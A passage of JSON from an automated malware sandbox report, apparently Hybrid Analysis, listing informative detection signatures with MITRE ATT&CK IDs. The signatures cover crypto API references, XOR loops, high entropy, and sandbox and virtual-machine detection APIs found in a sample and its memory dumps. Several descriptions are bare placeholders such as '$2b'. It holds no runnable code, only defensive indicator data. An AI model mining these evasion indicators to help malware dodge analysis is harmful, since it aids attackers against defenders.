reference \"CryptStringToBinaryW\" (Indicator: \"CryptStringToBinaryW\"; File: \"00000000-00003136.00000000.180392.00EB1000.00000020.mdmp\")\n Found api reference \"CryptBinaryToStringW\" (Indicator: \"CryptBinaryToStringW\"; Source: \"00000000-00003136.00000000.180392.00EB1000.00000020.mdmp\")\n Found api reference \"CryptStringToBinaryW\" (Indicator: \"CryptStringToBinaryW\"; Source: \"00000000-00003136.00000000.180392.00EB1000.00000020.mdmp\")\n Found api reference \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00004448.00000000.168926.02940000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2b","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"CryptStringToBinary: Hex data string to binary conversion\" (Indicator: \"CryptStringToBinary\"; File: \"00000000-00003136.00000000.180392.00EB1000.00000020.mdmp\")\n Found reference to API \"CryptStringToBinaryW\" (Indicator: \"CryptStringToBinary\"; File: \"00000000-00003136.00000000.180392.00EB1000.00000020.mdmp\")\n Found reference to API \"CryptStringToBinary: Hex data string to binary conversion\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00003136.00000000.180392.00EB1000.00000020.mdmp\")\n Found reference to API \"CryptStringToBinaryW\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00003136.00000000.180392.00EB1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")\n Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")\n Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")\n Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")\n Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")\n Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00004448.00000000.168926.02940000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")\n Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-195","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.97417","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2d","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2e","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"file/memory contains long string with (Indicator: \"NtQuerySystemInformation\"; File: \"nircmd.exe\")\n Found reference to API \"ZwQuerySystemInformation\" (Indicator: \"ZwQuerySystemInformation\"; File: \"00000000-00004944.00000002.180064.00DC3000.00000080.mdmp\")\n Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004944-00000C2C-1777522877\")\n Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004448.00000000.168926.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Environment Awareness","name":"Able to find string content in a file","description":"Found string \"%WINDIR%\\SysWOW64\\findstr.exe\" (Source: \"00000000-00002240-00000BC0-1714959607\")\n Found string \"%WINDIR%\\system32\\findstr.exe\" (Source: \"00000000-00002240-00000C47-268523414162\")\n Found string \"findstr /c:\"6.1.7601\"\" (Source: \"00000000-00002240-00000C47-268523414162\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-688","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify sandbox environment running process","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-666","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"file/memory contains long string with (Indicator: \"NtQuerySystemInformation\"; File: \"nircmd.exe\")\n Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004944-00000C2C-1777522877\")\n Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004448.00000000.168926.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")\n Found string \"GetCommandLineArgs\" (Indicator: \"GetCommandLine\"; File: \"00000000-00004944.00000002.180064.00DC3000.00000080.mdmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00000328.00000000.177045.01091000.00000002.mdmp\")\n Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; Source: \"00000000-00004448.00000000.168926.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00001836.00000000.170350.01203000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")\n Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")\n Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00001836.00000000.170350.01203000.00000002.mdmp\")\n Found reference to API \"GetTimeFormatA\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00004448.00000000.168926.40017000.00000002.mdmp\")\n Found reference to API \"GetDateFormatA\" (Indicator: \"GetDateFormat\"; Source: \"00000000-00004448.00000000.168926.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00001836.00000000.170350.01203000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"